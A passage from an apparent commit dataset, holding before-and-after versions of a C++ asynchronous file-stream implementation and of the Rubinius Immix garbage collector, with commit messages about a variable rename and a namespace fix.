-1);\n\n auto file = NewFromPool<FileIstream>(*pool);\n istream_init(&file->stream, &istream_file, pool);\n file->fd = fd;\n file->fd_type = fd_type;\n file->rest = length;\n file->buffer.SetNull();\n file->path = path;\n\n evtimer_set(&file->event, file_event_callback, file);\n\n return &file->stream;\n}\n\nstruct istream *\nistream_file_stat_new(struct pool *pool, const char *path, struct stat *st,\n GError **error_r)\n{\n assert(path != nullptr);\n assert(st != nullptr);\n\n int fd = open_cloexec(path, O_RDONLY|O_NOCTTY, 0);\n if (fd < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n if (fstat(fd, st) < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to stat %s: \", path);\n close(fd);\n return nullptr;\n }\n\n FdType fd_type = FdType::FD_FILE;\n off_t size = st->st_size;\n\n if (S_ISCHR(st->st_mode)) {\n fd_type = FdType::FD_CHARDEV;\n size = -1;\n }\n\n return istream_file_fd_new(pool, path, fd, fd_type, size);\n}\n\nstruct istream *\nistream_file_new(struct pool *pool, const char *path, off_t length,\n GError **error_r)\n{\n assert(length >= -1);\n\n int fd = open_cloexec(path, O_RDONLY|O_NOCTTY, 0);\n if (fd < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n return istream_file_fd_new(pool, path, fd, FdType::FD_FILE, length);\n}\n\nint\nistream_file_fd(struct istream *istream)\n{\n assert(istream != nullptr);\n assert(istream->cls == &istream_file);\n\n FileIstream *file = istream_to_file(istream);\n\n assert(file->fd >= 0);\n\n return file->fd;\n}\n\nbool\nistream_file_set_range(struct istream *istream, off_t start, off_t end)\n{\n assert(istream != nullptr);\n assert(istream->cls == &istream_file);\n assert(start >= 0);\n assert(end >= start);\n\n FileIstream *file = istream_to_file(istream);\n assert(file->fd >= 0);\n assert(file->rest >= 0);\n assert(file->buffer.IsNull());\n assert(end <= file->rest);\n\n if (start > 0 && lseek(file->fd, start, SEEK_CUR) < 0)\n return false;\n\n file->rest = end - start;\n return true;\n}\n<commit_msg>istream_file: rename \"rest\" to \"buffer_rest\"<commit_after>\/*\n * Asynchronous local file access.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"istream_file.hxx\"\n#include \"istream_buffer.hxx\"\n#include \"buffered_io.hxx\"\n#include \"system\/fd_util.h\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"util\/Cast.hxx\"\n\n#include <assert.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <limits.h>\n\n#include <event.h>\n\n\/**\n * If EAGAIN occurs (on NFS), we try again after 100ms. We can't\n * check EV_READ, because the kernel always indicates VFS files as\n * \"readable without blocking\".\n *\/\nstatic const struct timeval file_retry_timeout = {\n .tv_sec = 0,\n .tv_usec = 100000,\n};\n\nstruct FileIstream {\n struct istream stream;\n int fd;\n\n FdType fd_type;\n\n \/**\n * A timer to retry reading after EAGAIN.\n *\/\n struct event event;\n\n off_t rest;\n SliceFifoBuffer buffer;\n const char *path;\n};\n\nstatic void\nfile_close(FileIstream *file)\n{\n if (file->fd >= 0) {\n evtimer_del(&file->event);\n\n close(file->fd);\n file->fd = -1;\n }\n}\n\nstatic void\nfile_destroy(FileIstream *file)\n{\n file_close(file);\n\n file->buffer.FreeIfDefined(fb_pool_get());\n}\n\nstatic void\nfile_abort(FileIstream *file, GError *error)\n{\n file_destroy(file);\n\n istream_deinit_abort(&file->stream, error);\n}\n\n\/**\n * @return the number of bytes still in the buffer\n *\/\nstatic size_t\nistream_file_invoke_data(FileIstream *file)\n{\n return istream_buffer_consume(&file->stream, file->buffer);\n}\n\nstatic void\nistream_file_eof_detected(FileIstream *file)\n{\n assert(file->fd >= 0);\n\n file_destroy(file);\n\n istream_deinit_eof(&file->stream);\n}\n\nstatic inline size_t\nistream_file_max_read(const FileIstream *file)\n{\n if (file->rest != (off_t)-1 && file->rest < (off_t)INT_MAX)\n return (size_t)file->rest;\n else\n return INT_MAX;\n}\n\nstatic void\nistream_file_try_data(FileIstream *file)\n{\n size_t buffer_rest = 0;\n\n if (file->buffer.IsNull()) {\n if (file->rest != 0)\n file->buffer.Allocate(fb_pool_get());\n } else {\n const size_t available = file->buffer.GetAvailable();\n if (available > 0) {\n buffer_rest = istream_file_invoke_data(file);\n if (buffer_rest == available)\n \/* not a single byte was consumed: we may have been\n closed, and we must bail out now *\/\n return;\n }\n }\n\n if (file->rest == 0) {\n if (buffer_rest == 0)\n istream_file_eof_detected(file);\n return;\n }\n\n ForeignFifoBuffer<uint8_t> &buffer = file->buffer;\n ssize_t nbytes = read_to_buffer(file->fd, buffer,\n istream_file_max_read(file));\n if (nbytes == 0) {\n if (file->rest == (off_t)-1) {\n file->rest = 0;\n if (buffer_rest == 0)\n istream_file_eof_detected(file);\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", file->path);\n file_abort(file, error);\n }\n return;\n } else if (nbytes == -1) {\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n file->path, strerror(errno));\n file_abort(file, error);\n return;\n } else if (nbytes > 0 && file->rest != (off_t)-1) {\n file->rest -= (off_t)nbytes;\n assert(file->rest >= 0);\n }\n\n assert(!file->buffer.IsEmpty());\n\n buffer_rest = istream_file_invoke_data(file);\n if (buffer_rest == 0 && file->rest == 0)\n istream_file_eof_detected(file);\n}\n\nstatic void\nistream_file_try_direct(FileIstream *file)\n{\n assert(file->stream.handler->direct != nullptr);\n\n \/* first consume the rest of the buffer *\/\n if (istream_file_invoke_data(file) > 0)\n return;\n\n if (file->rest == 0) {\n istream_file_eof_detected(file);\n return;\n }\n\n ssize_t nbytes = istream_invoke_direct(&file->stream,\n file->fd_type, file->fd,\n istream_file_max_read(file));\n if (nbytes == ISTREAM_RESULT_CLOSED)\n \/* this stream was closed during the direct() callback *\/\n return;\n\n if (nbytes > 0 || nbytes == ISTREAM_RESULT_BLOCKING) {\n \/* -2 means the callback wasn't able to consume any data right\n now *\/\n if (nbytes > 0 && file->rest != (off_t)-1) {\n file->rest -= (off_t)nbytes;\n assert(file->rest >= 0);\n if (file->rest == 0)\n istream_file_eof_detected(file);\n }\n } else if (nbytes == ISTREAM_RESULT_EOF) {\n if (file->rest == (off_t)-1) {\n istream_file_eof_detected(file);\n } else {\n GError *error =\n g_error_new(g_file_error_quark(), 0,\n \"premature end of file in '%s'\", file->path);\n file_abort(file, error);\n }\n } else if (errno == EAGAIN) {\n \/* this should only happen for splice(SPLICE_F_NONBLOCK) from\n NFS files - unfortunately we cannot use EV_READ here, so we\n just install a timer which retries after 100ms *\/\n\n evtimer_add(&file->event, &file_retry_timeout);\n } else {\n \/* XXX *\/\n GError *error =\n g_error_new(errno_quark(), errno,\n \"failed to read from '%s': %s\",\n file->path, strerror(errno));\n file_abort(file, error);\n }\n}\n\nstatic void\nfile_try_read(FileIstream *file)\n{\n if (istream_check_direct(&file->stream, file->fd_type))\n istream_file_try_direct(file);\n else\n istream_file_try_data(file);\n}\n\nstatic void\nfile_event_callback(gcc_unused int fd, gcc_unused short event,\n void *ctx)\n{\n FileIstream *file = (FileIstream *)ctx;\n\n file_try_read(file);\n}\n\n\n\/*\n * istream implementation\n *\n *\/\n\nstatic inline FileIstream *\nistream_to_file(struct istream *istream)\n{\n return &ContainerCast2(*istream, &FileIstream::stream);\n}\n\nstatic off_t\nistream_file_available(struct istream *istream, bool partial)\n{\n FileIstream *file = istream_to_file(istream);\n off_t available = 0;\n\n if (file->rest != (off_t)-1)\n available = file->rest;\n else if (!partial)\n return (off_t)-1;\n else\n available = 0;\n\n available += file->buffer.GetAvailable();\n return available;\n}\n\nstatic off_t\nistream_file_skip(struct istream *istream, off_t length)\n{\n FileIstream *file = istream_to_file(istream);\n\n evtimer_del(&file->event);\n\n if (file->rest == (off_t)-1)\n return (off_t)-1;\n\n if (length == 0)\n return 0;\n\n \/* clear the buffer; later we could optimize this function by\n flushing only the skipped number of bytes *\/\n file->buffer.Clear();\n\n if (length >= file->rest) {\n \/* skip beyond EOF *\/\n\n length = file->rest;\n file->rest = 0;\n } else {\n \/* seek the file descriptor *\/\n\n off_t ret = lseek(file->fd, length, SEEK_CUR);\n if (ret < 0)\n return -1;\n file->rest -= length;\n }\n\n return length;\n}\n\nstatic void\nistream_file_read(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n\n assert(file->stream.handler != nullptr);\n\n evtimer_del(&file->event);\n\n file_try_read(file);\n}\n\nstatic int\nistream_file_as_fd(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n int fd = file->fd;\n\n evtimer_del(&file->event);\n istream_deinit(&file->stream);\n\n return fd;\n}\n\nstatic void\nistream_file_close(struct istream *istream)\n{\n FileIstream *file = istream_to_file(istream);\n\n file_destroy(file);\n\n istream_deinit(&file->stream);\n}\n\nstatic const struct istream_class istream_file = {\n .available = istream_file_available,\n .skip = istream_file_skip,\n .read = istream_file_read,\n .as_fd = istream_file_as_fd,\n .close = istream_file_close,\n};\n\n\n\/*\n * constructor and public methods\n *\n *\/\n\nstruct istream *\nistream_file_fd_new(struct pool *pool, const char *path,\n int fd, FdType fd_type, off_t length)\n{\n assert(fd >= 0);\n assert(length >= -1);\n\n auto file = NewFromPool<FileIstream>(*pool);\n istream_init(&file->stream, &istream_file, pool);\n file->fd = fd;\n file->fd_type = fd_type;\n file->rest = length;\n file->buffer.SetNull();\n file->path = path;\n\n evtimer_set(&file->event, file_event_callback, file);\n\n return &file->stream;\n}\n\nstruct istream *\nistream_file_stat_new(struct pool *pool, const char *path, struct stat *st,\n GError **error_r)\n{\n assert(path != nullptr);\n assert(st != nullptr);\n\n int fd = open_cloexec(path, O_RDONLY|O_NOCTTY, 0);\n if (fd < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n if (fstat(fd, st) < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to stat %s: \", path);\n close(fd);\n return nullptr;\n }\n\n FdType fd_type = FdType::FD_FILE;\n off_t size = st->st_size;\n\n if (S_ISCHR(st->st_mode)) {\n fd_type = FdType::FD_CHARDEV;\n size = -1;\n }\n\n return istream_file_fd_new(pool, path, fd, fd_type, size);\n}\n\nstruct istream *\nistream_file_new(struct pool *pool, const char *path, off_t length,\n GError **error_r)\n{\n assert(length >= -1);\n\n int fd = open_cloexec(path, O_RDONLY|O_NOCTTY, 0);\n if (fd < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n return istream_file_fd_new(pool, path, fd, FdType::FD_FILE, length);\n}\n\nint\nistream_file_fd(struct istream *istream)\n{\n assert(istream != nullptr);\n assert(istream->cls == &istream_file);\n\n FileIstream *file = istream_to_file(istream);\n\n assert(file->fd >= 0);\n\n return file->fd;\n}\n\nbool\nistream_file_set_range(struct istream *istream, off_t start, off_t end)\n{\n assert(istream != nullptr);\n assert(istream->cls == &istream_file);\n assert(start >= 0);\n assert(end >= start);\n\n FileIstream *file = istream_to_file(istream);\n assert(file->fd >= 0);\n assert(file->rest >= 0);\n assert(file->buffer.IsNull());\n assert(end <= file->rest);\n\n if (start > 0 && lseek(file->fd, start, SEEK_CUR) < 0)\n return false;\n\n file->rest = end - start;\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"memory.hpp\"\n#include \"memory\/immix_collector.hpp\"\n#include \"memory\/immix_marker.hpp\"\n\n#include \"capi\/handles.hpp\"\n#include \"capi\/tag.hpp\"\n#include \"object_watch.hpp\"\n\n#include \"configuration.hpp\"\n\n#include \"instruments\/timing.hpp\"\n\n#include \"util\/logger.hpp\"\n\n#ifdef ENABLE_LLVM\n#include \"llvm\/state.hpp\"\n#endif\n\nnamespace rubinius {\nnamespace memory {\n void ImmixGC::Diagnostics::log() {\n if(!modified_p()) return;\n\n diagnostics::Diagnostics::log();\n\n utilities::logger::write(\"immix: diagnostics: \" \\\n \"collections: %ld, \" \\\n \"objects: %ld, \" \\\n \"bytes: %ld, \" \\\n \"total_bytes: %ld, \" \\\n \"chunks: %ld, \" \\\n \"holes: %ld, \" \\\n \"percentage: %f\",\n collections_, objects_, bytes_, total_bytes_,\n chunks_, holes_, percentage_);\n }\n\n void ImmixGC::ObjectDescriber::added_chunk(int count) {\n if(object_memory_) {\n object_memory_->vm()->metrics().memory.immix_chunks++;\n\n if(gc_->dec_chunks_left() <= 0) {\n gc_->reset_chunks_left();\n }\n }\n }\n\n\n \/**\n * This means we're getting low on memory! Time to schedule a garbage\n * collection.\n *\/\n void ImmixGC::ObjectDescriber::last_block() {\n if(object_memory_) {\n object_memory_->schedule_full_collection();\n }\n }\n\n void ImmixGC::ObjectDescriber::set_forwarding_pointer(memory::Address from, memory::Address to) {\n from.as<Object>()->set_forward(to.as<Object>());\n }\n\n ImmixGC::ImmixGC(Memory* om)\n : GarbageCollector(om)\n , allocator_(gc_.block_allocator())\n , memory_(om)\n , marker_(NULL)\n , chunks_left_(0)\n , chunks_before_collection_(10)\n , diagnostics_(Diagnostics())\n {\n gc_.describer().set_object_memory(om, this);\n reset_chunks_left();\n }\n\n ImmixGC::~ImmixGC() {\n if(marker_) {\n delete marker_;\n }\n }\n\n memory::Address ImmixGC::ObjectDescriber::copy(memory::Address original,\n ImmixAllocator& alloc) {\n Object* orig = original.as<Object>();\n\n bool collect_flag = false;\n\n memory::Address copy_addr = alloc.allocate(\n orig->size_in_bytes(object_memory_->vm()),\n collect_flag);\n\n if(collect_flag) {\n object_memory_->schedule_full_collection();\n }\n\n Object* copy = copy_addr.as<Object>();\n\n copy->initialize_full_state(object_memory_->vm(), orig, 0);\n\n copy->set_zone(MatureObjectZone);\n copy->set_in_immix();\n\n return copy_addr;\n }\n\n int ImmixGC::ObjectDescriber::size(memory::Address addr) {\n return addr.as<Object>()->size_in_bytes(object_memory_->vm());\n }\n\n Address ImmixGC::ObjectDescriber::update_pointer(Address addr) {\n Object* obj = addr.as<Object>();\n if(!obj) return Address::null();\n if(obj->young_object_p()) {\n if(obj->forwarded_p()) return obj->forward();\n return Address::null();\n } else {\n \/\/ we must remember this because it might\n \/\/ contain references to young gen objects\n object_memory_->remember_object(obj);\n }\n return addr;\n }\n\n bool ImmixGC::ObjectDescriber::mark_address(Address addr, MarkStack& ms, bool push) {\n Object* obj = addr.as<Object>();\n\n if(obj->marked_p(object_memory_->mark())) return false;\n obj->mark(object_memory_, object_memory_->mark());\n\n if(push) ms.push_back(addr);\n \/\/ If this is a young object, let the GC know not to try and mark\n \/\/ the block it's in.\n return obj->in_immix_p();\n }\n\n Object* ImmixGC::allocate(uint32_t bytes, bool& collect_now) {\n if(bytes > cMaxObjectSize) return 0;\n\n Object* obj = allocator_.allocate(bytes, collect_now).as<Object>();\n obj->init_header(MatureObjectZone, InvalidType);\n obj->set_in_immix();\n\n return obj;\n }\n\n Object* ImmixGC::move_object(Object* orig, uint32_t bytes, bool& collect_now) {\n if(bytes > cMaxObjectSize) return 0;\n\n Object* obj = allocator_.allocate(bytes, collect_now).as<Object>();\n\n memcpy(obj, orig, bytes);\n\n obj->set_zone(MatureObjectZone);\n obj->set_in_immix();\n\n orig->set_forward(obj);\n\n return obj;\n }\n\n Object* ImmixGC::saw_object(Object* obj) {\n#ifdef ENABLE_OBJECT_WATCH\n if(watched_p(obj)) {\n std::cout << \"detected \" << obj << \" during immix scanning.\\n\";\n }\n#endif\n\n if(!obj->reference_p()) return NULL;\n\n memory::Address fwd = gc_.mark_address(memory::Address(obj), allocator_);\n Object* copy = fwd.as<Object>();\n\n \/\/ Check and update an inflated header\n if(copy && copy != obj) {\n obj->set_forward(copy);\n return copy;\n }\n\n \/\/ Always return NULL for non moved objects\n return NULL;\n }\n\n void ImmixGC::scanned_object(Object* obj) {\n obj->scanned();\n }\n\n bool ImmixGC::mature_gc_in_progress() {\n return object_memory_->mature_gc_in_progress();\n }\n\n ObjectPosition ImmixGC::validate_object(Object* obj) {\n if(gc_.allocated_address(memory::Address(obj))) {\n if(obj->in_immix_p()) {\n return cInImmix;\n } else {\n return cInImmixCorruptHeader;\n }\n }\n\n return cUnknown;\n }\n\n \/**\n * Performs a garbage collection of the immix space.\n *\/\n void ImmixGC::collect(GCData* data) {\n gc_.clear_marks();\n }\n\n void ImmixGC::collect_start(GCData* data) {\n gc_.clear_marks();\n collect_scan(data);\n marker_->concurrent_mark(data);\n }\n\n void ImmixGC::collect_scan(GCData* data) {\n for(Roots::Iterator i(data->roots()); i.more(); i.advance()) {\n if(Object* fwd = saw_object(i->get())) {\n i->set(fwd);\n }\n }\n\n {\n utilities::thread::SpinLock::LockGuard guard(data->thread_nexus()->threads_lock());\n\n for(ThreadList::iterator i = data->thread_nexus()->threads()->begin();\n i != data->thread_nexus()->threads()->end();\n ++i)\n {\n scan(*i, false);\n }\n }\n\n for(Allocator<capi::Handle>::Iterator i(data->handles()->allocator()); i.more(); i.advance()) {\n if(i->in_use_p() && !i->weak_p()) {\n if(Object* fwd = saw_object(i->object())) {\n i->set_object(fwd);\n }\n }\n }\n\n std::list<capi::GlobalHandle*>* gh = data->global_handle_locations();\n\n if(gh) {\n for(std::list<capi::GlobalHandle*>::iterator i = gh->begin();\n i != gh->end();\n ++i) {\n capi::Handle** loc = (*i)->handle();\n if(capi::Handle* hdl = *loc) {\n if(!REFERENCE_P(hdl)) continue;\n if(hdl->valid_p()) {\n Object* obj = hdl->object();\n if(obj && obj->reference_p()) {\n if(Object* fwd = saw_object(obj)) {\n hdl->set_object(fwd);\n }\n }\n } else {\n std::cerr << \"Detected bad handle checking global capi handles\\n\";\n }\n }\n }\n }\n\n#ifdef ENABLE_LLVM\n if(LLVMState* ls = data->llvm_state()) ls->gc_scan(this);\n#endif\n }\n\n void ImmixGC::collect_finish(GCData* data) {\n collect_scan(data);\n process_mark_stack();\n\n ObjectArray* marked_set = object_memory_->swap_marked_set();\n for(ObjectArray::iterator oi = marked_set->begin();\n oi != marked_set->end();\n ++oi) {\n Object* obj = *oi;\n if(obj) {\n if(Object* fwd = saw_object(obj)) {\n *oi = fwd;\n }\n }\n }\n delete marked_set;\n\n \/\/ Users manipulate values accessible from the data* within an\n \/\/ RData without running a write barrier. Thusly if we see any rdata\n \/\/ we must always scan it again here because it could contain new pointers.\n \/\/\n \/\/ We do this in a loop because the scanning might generate new entries\n \/\/ on the mark stack.\n do {\n for(Allocator<capi::Handle>::Iterator i(data->handles()->allocator());\n i.more();\n i.advance())\n {\n capi::Handle* hdl = i.current();\n if(!hdl->in_use_p()) continue;\n if(hdl->is_rdata()) {\n Object* obj = hdl->object();\n if(obj->marked_p(object_memory_->mark())) {\n scan_object(obj);\n }\n }\n }\n } while(process_mark_stack());\n\n \/\/ We've now finished marking the entire object graph.\n \/\/ Clean weakrefs before keeping additional objects alive\n \/\/ for finalization, so people don't get a hold of finalized\n \/\/ objects through weakrefs.\n clean_weakrefs();\n\n \/\/ Marking objects to be Finalized can cause more things to continue to\n \/\/ live, so we must check the mark_stack again.\n do {\n walk_finalizers();\n scan_fibers(data, true);\n } while(process_mark_stack());\n\n \/\/ Remove unreachable locked objects still in the list\n {\n utilities::thread::SpinLock::LockGuard guard(data->thread_nexus()->threads_lock());\n\n for(ThreadList::iterator i = data->thread_nexus()->threads()->begin();\n i != data->thread_nexus()->threads()->end();\n ++i)\n {\n clean_locked_objects(*i, false);\n }\n }\n\n \/\/ Clear unreachable objects from the various remember sets\n unsigned int mark = object_memory_->mark();\n object_memory_->unremember_objects(mark);\n }\n\n void ImmixGC::sweep() {\n \/\/ Copy marks for use in new allocations\n gc_.copy_marks();\n\n \/\/ Sweep up the garbage\n gc_.sweep_blocks();\n\n \/\/ This resets the allocator state to sync it up with the BlockAllocator\n \/\/ properly.\n allocator_.get_new_block();\n\n {\n timer::StopWatch<timer::microseconds> timer(\n vm()->metrics().gc.immix_diagnostics_us);\n\n diagnostics_ = Diagnostics(diagnostics_.collections_);\n\n \/\/ Now, calculate how much space we're still using.\n Chunks& chunks = gc_.block_allocator().chunks();\n AllBlockIterator iter(chunks);\n\n diagnostics_.chunks_ = chunks.size();\n\n while(Block* block = iter.next()) {\n diagnostics_.holes_ += block->holes();\n diagnostics_.objects_ += block->objects();\n diagnostics_.bytes_ += block->object_bytes();\n diagnostics_.total_bytes_ += cBlockSize;\n }\n\n diagnostics_.percentage_ =\n (double)diagnostics_.bytes_ \/ (double)diagnostics_.total_bytes_;\n\n diagnostics_.collections_++;\n diagnostics_.modify();\n }\n\n if(diagnostics_.percentage_ >= 0.90) {\n gc_.block_allocator().add_chunk();\n }\n }\n\n void ImmixGC::start_marker(STATE) {\n if(!marker_) {\n marker_ = new ImmixMarker(state, this);\n }\n }\n\n bool ImmixGC::process_mark_stack() {\n bool exit = false;\n return gc_.process_mark_stack(allocator_, exit);\n }\n\n bool ImmixGC::process_mark_stack(bool& exit) {\n return gc_.process_mark_stack(allocator_, exit);\n }\n\n MarkStack& ImmixGC::mark_stack() {\n return gc_.mark_stack();\n }\n\n void ImmixGC::walk_finalizers() {\n FinalizerThread* fh = object_memory_->finalizer_handler();\n if(!fh) return;\n\n for(FinalizerThread::iterator i = fh->begin();\n !i.end();\n \/* advance is handled in the loop *\/)\n {\n FinalizeObject& fi = i.current();\n\n bool live = fi.object->marked_p(object_memory_->mark());\n\n if(fi.ruby_finalizer) {\n if(Object* fwd = saw_object(fi.ruby_finalizer)) {\n fi.ruby_finalizer = fwd;\n }\n }\n\n if(Object* fwd = saw_object(fi.object)) {\n fi.object = fwd;\n }\n\n i.next(live);\n }\n }\n}\n}\n<commit_msg>Fixed namespaced references to Address.<commit_after>#include \"memory.hpp\"\n#include \"memory\/immix_collector.hpp\"\n#include \"memory\/immix_marker.hpp\"\n\n#include \"capi\/handles.hpp\"\n#include \"capi\/tag.hpp\"\n#include \"object_watch.hpp\"\n\n#include \"configuration.hpp\"\n\n#include \"instruments\/timing.hpp\"\n\n#include \"util\/logger.hpp\"\n\n#ifdef ENABLE_LLVM\n#include \"llvm\/state.hpp\"\n#endif\n\nnamespace rubinius {\nnamespace memory {\n void ImmixGC::Diagnostics::log() {\n if(!modified_p()) return;\n\n diagnostics::Diagnostics::log();\n\n utilities::logger::write(\"immix: diagnostics: \" \\\n \"collections: %ld, \" \\\n \"objects: %ld, \" \\\n \"bytes: %ld, \" \\\n \"total_bytes: %ld, \" \\\n \"chunks: %ld, \" \\\n \"holes: %ld, \" \\\n \"percentage: %f\",\n collections_, objects_, bytes_, total_bytes_,\n chunks_, holes_, percentage_);\n }\n\n void ImmixGC::ObjectDescriber::added_chunk(int count) {\n if(object_memory_) {\n object_memory_->vm()->metrics().memory.immix_chunks++;\n\n if(gc_->dec_chunks_left() <= 0) {\n gc_->reset_chunks_left();\n }\n }\n }\n\n\n \/**\n * This means we're getting low on memory! Time to schedule a garbage\n * collection.\n *\/\n void ImmixGC::ObjectDescriber::last_block() {\n if(object_memory_) {\n object_memory_->schedule_full_collection();\n }\n }\n\n void ImmixGC::ObjectDescriber::set_forwarding_pointer(Address from, Address to) {\n from.as<Object>()->set_forward(to.as<Object>());\n }\n\n ImmixGC::ImmixGC(Memory* om)\n : GarbageCollector(om)\n , allocator_(gc_.block_allocator())\n , memory_(om)\n , marker_(NULL)\n , chunks_left_(0)\n , chunks_before_collection_(10)\n , diagnostics_(Diagnostics())\n {\n gc_.describer().set_object_memory(om, this);\n reset_chunks_left();\n }\n\n ImmixGC::~ImmixGC() {\n if(marker_) {\n delete marker_;\n }\n }\n\n Address ImmixGC::ObjectDescriber::copy(Address original,\n ImmixAllocator& alloc) {\n Object* orig = original.as<Object>();\n\n bool collect_flag = false;\n\n Address copy_addr = alloc.allocate(\n orig->size_in_bytes(object_memory_->vm()),\n collect_flag);\n\n if(collect_flag) {\n object_memory_->schedule_full_collection();\n }\n\n Object* copy = copy_addr.as<Object>();\n\n copy->initialize_full_state(object_memory_->vm(), orig, 0);\n\n copy->set_zone(MatureObjectZone);\n copy->set_in_immix();\n\n return copy_addr;\n }\n\n int ImmixGC::ObjectDescriber::size(Address addr) {\n return addr.as<Object>()->size_in_bytes(object_memory_->vm());\n }\n\n Address ImmixGC::ObjectDescriber::update_pointer(Address addr) {\n Object* obj = addr.as<Object>();\n if(!obj) return Address::null();\n if(obj->young_object_p()) {\n if(obj->forwarded_p()) return obj->forward();\n return Address::null();\n } else {\n \/\/ we must remember this because it might\n \/\/ contain references to young gen objects\n object_memory_->remember_object(obj);\n }\n return addr;\n }\n\n bool ImmixGC::ObjectDescriber::mark_address(Address addr, MarkStack& ms, bool push) {\n Object* obj = addr.as<Object>();\n\n if(obj->marked_p(object_memory_->mark())) return false;\n obj->mark(object_memory_, object_memory_->mark());\n\n if(push) ms.push_back(addr);\n \/\/ If this is a young object, let the GC know not to try and mark\n \/\/ the block it's in.\n return obj->in_immix_p();\n }\n\n Object* ImmixGC::allocate(uint32_t bytes, bool& collect_now) {\n if(bytes > cMaxObjectSize) return 0;\n\n Object* obj = allocator_.allocate(bytes, collect_now).as<Object>();\n obj->init_header(MatureObjectZone, InvalidType);\n obj->set_in_immix();\n\n return obj;\n }\n\n Object* ImmixGC::move_object(Object* orig, uint32_t bytes, bool& collect_now) {\n if(bytes > cMaxObjectSize) return 0;\n\n Object* obj = allocator_.allocate(bytes, collect_now).as<Object>();\n\n memcpy(obj, orig, bytes);\n\n obj->set_zone(MatureObjectZone);\n obj->set_in_immix();\n\n orig->set_forward(obj);\n\n return obj;\n }\n\n Object* ImmixGC::saw_object(Object* obj) {\n#ifdef ENABLE_OBJECT_WATCH\n if(watched_p(obj)) {\n std::cout << \"detected \" << obj << \" during immix scanning.\\n\";\n }\n#endif\n\n if(!obj->reference_p()) return NULL;\n\n Address fwd = gc_.mark_address(Address(obj), allocator_);\n Object* copy = fwd.as<Object>();\n\n \/\/ Check and update an inflated header\n if(copy && copy != obj) {\n obj->set_forward(copy);\n return copy;\n }\n\n \/\/ Always return NULL for non moved objects\n return NULL;\n }\n\n void ImmixGC::scanned_object(Object* obj) {\n obj->scanned();\n }\n\n bool ImmixGC::mature_gc_in_progress() {\n return object_memory_->mature_gc_in_progress();\n }\n\n ObjectPosition ImmixGC::validate_object(Object* obj) {\n if(gc_.allocated_address(Address(obj))) {\n if(obj->in_immix_p()) {\n return cInImmix;\n } else {\n return cInImmixCorruptHeader;\n }\n }\n\n return cUnknown;\n }\n\n \/**\n * Performs a garbage collection of the immix space.\n *\/\n void ImmixGC::collect(GCData* data) {\n gc_.clear_marks();\n }\n\n void ImmixGC::collect_start(GCData* data) {\n gc_.clear_marks();\n collect_scan(data);\n marker_->concurrent_mark(data);\n }\n\n void ImmixGC::collect_scan(GCData* data) {\n for(Roots::Iterator i(data->roots()); i.more(); i.advance()) {\n if(Object* fwd = saw_object(i->get())) {\n i->set(fwd);\n }\n }\n\n {\n utilities::thread::SpinLock::LockGuard guard(data->thread_nexus()->threads_lock());\n\n for(ThreadList::iterator i = data->thread_nexus()->threads()->begin();\n i != data->thread_nexus()->threads()->end();\n ++i)\n {\n scan(*i, false);\n }\n }\n\n for(Allocator<capi::Handle>::Iterator i(data->handles()->allocator()); i.more(); i.advance()) {\n if(i->in_use_p() && !i->weak_p()) {\n if(Object* fwd = saw_object(i->object())) {\n i->set_object(fwd);\n }\n }\n }\n\n std::list<capi::GlobalHandle*>* gh = data->global_handle_locations();\n\n if(gh) {\n for(std::list<capi::GlobalHandle*>::iterator i = gh->begin();\n i != gh->end();\n ++i) {\n capi::Handle** loc = (*i)->handle();\n if(capi::Handle* hdl = *loc) {\n if(!REFERENCE_P(hdl)) continue;\n if(hdl->valid_p()) {\n Object* obj = hdl->object();\n if(obj && obj->reference_p()) {\n if(Object* fwd = saw_object(obj)) {\n hdl->set_object(fwd);\n }\n }\n } else {\n std::cerr << \"Detected bad handle checking global capi handles\\n\";\n }\n }\n }\n }\n\n#ifdef ENABLE_LLVM\n if(LLVMState* ls = data->llvm_state()) ls->gc_scan(this);\n#endif\n }\n\n void ImmixGC::collect_finish(GCData* data) {\n collect_scan(data);\n process_mark_stack();\n\n ObjectArray* marked_set = object_memory_->swap_marked_set();\n for(ObjectArray::iterator oi = marked_set->begin();\n oi != marked_set->end();\n ++oi) {\n Object* obj = *oi;\n if(obj) {\n if(Object* fwd = saw_object(obj)) {\n *oi = fwd;\n }\n }\n }\n delete marked_set;\n\n \/\/ Users manipulate values accessible from the data* within an\n \/\/ RData without running a write barrier. Thusly if we see any rdata\n \/\/ we must always scan it again here because it could contain new pointers.\n \/\/\n \/\/ We do this in a loop because the scanning might generate new entries\n \/\/ on the mark stack.\n do {\n for(Allocator<capi::Handle>::Iterator i(data->handles()->allocator());\n i.more();\n i.advance())\n {\n capi::Handle* hdl = i.current();\n if(!hdl->in_use_p()) continue;\n if(hdl->is_rdata()) {\n Object* obj = hdl->object();\n if(obj->marked_p(object_memory_->mark())) {\n scan_object(obj);\n }\n }\n }\n } while(process_mark_stack());\n\n \/\/ We've now finished marking the entire object graph.\n \/\/ Clean weakrefs before keeping additional objects alive\n \/\/ for finalization, so people don't get a hold of finalized\n \/\/ objects through weakrefs.\n clean_weakrefs();\n\n \/\/ Marking objects to be Finalized can cause more things to continue to\n \/\/ live, so we must check the mark_stack again.\n do {\n walk_finalizers();\n scan_fibers(data, true);\n } while(process_mark_stack());\n\n \/\/ Remove unreachable locked objects still in the list\n {\n utilities::thread::SpinLock::LockGuard 